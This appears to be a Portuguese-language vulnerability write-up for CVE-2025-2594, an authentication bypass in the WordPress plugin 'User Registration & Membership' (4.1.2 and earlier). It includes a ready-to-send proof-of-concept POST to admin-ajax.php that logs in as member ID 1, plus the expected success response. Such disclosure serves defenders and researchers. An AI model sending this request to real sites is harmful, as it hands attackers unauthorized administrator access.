CVE-2025-2594

User Registration & Membership <= 4.1.2 - Bypass de Autenticação

Aviso Legal!

As informações apresentadas neste relatório de CVE (Common Vulnerabilities and Exposures) são apenas para fins educacionais e informativos. Os detalhes fornecidos são baseados em recursos publicamente disponíveis, pesquisas e análises realizadas pelo autor. O conteúdo não tem a intenção de promover ou encorajar qualquer atividade ilegal, incluindo hacking, exploração ou acesso não autorizado a sistemas.

O autor não assume qualquer responsabilidade pelo uso indevido das informações apresentadas. Recomenda-se que indivíduos e organizações apliquem esse conhecimento de forma responsável e em conformidade com as leis e regulamentos aplicáveis. Os leitores são fortemente aconselhados a testar vulnerabilidades apenas em ambientes controlados e com a devida autorização.

O autor e colaboradores deste relatório não endossam nem apoiam atividades maliciosas e incentivam a divulgação responsável e práticas éticas de hacking.

---

Descrição

Uma vulnerabilidade crítica de segurança foi descoberta no plugin WordPress “User Registration & Membership”, uma ferramenta popular para criar sites de associação e formulários de registro. A falha, identificada como CVE-2025-2594, possui uma pontuação CVSS de 8,1, indicando sua alta gravidade.

O plugin User Registration & Membership para WordPress é vulnerável a bypass de autenticação nas versões até, e incluindo, 4.1.2. Isso se deve à autenticação incorreta na função 'confirm_payment()'. Isso possibilita que atacantes não autenticados façam login de um usuário existente no site, até mesmo um administrador, com estas condições:

1. O plugin tem o add-on de associação ativado

---

PoC (Prova de Conceito)

1. Obter o _confirm_payment_nonce na página de registro
2. Exemplo de dados de requisição
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: PostmanRuntime/7.43.3
   Accept: */*
   Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
   Content-Length: 565
   
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_confirm_payment
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="security"
   
   CONFIRM_PAYMENT_NONCE
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="form_response"
   
   { "auto_login": true }
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="member_id"
   
   1
   ----------------------------705549092016875046023302--
   

3. A resposta deve ser assim
   root@kitploit:~

   {"success":true,"data":{"message":null}}
   

4. Exemplo de resposta

---

Referência

1. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
2. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
3. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
4. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php

---

Agradecimentos

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii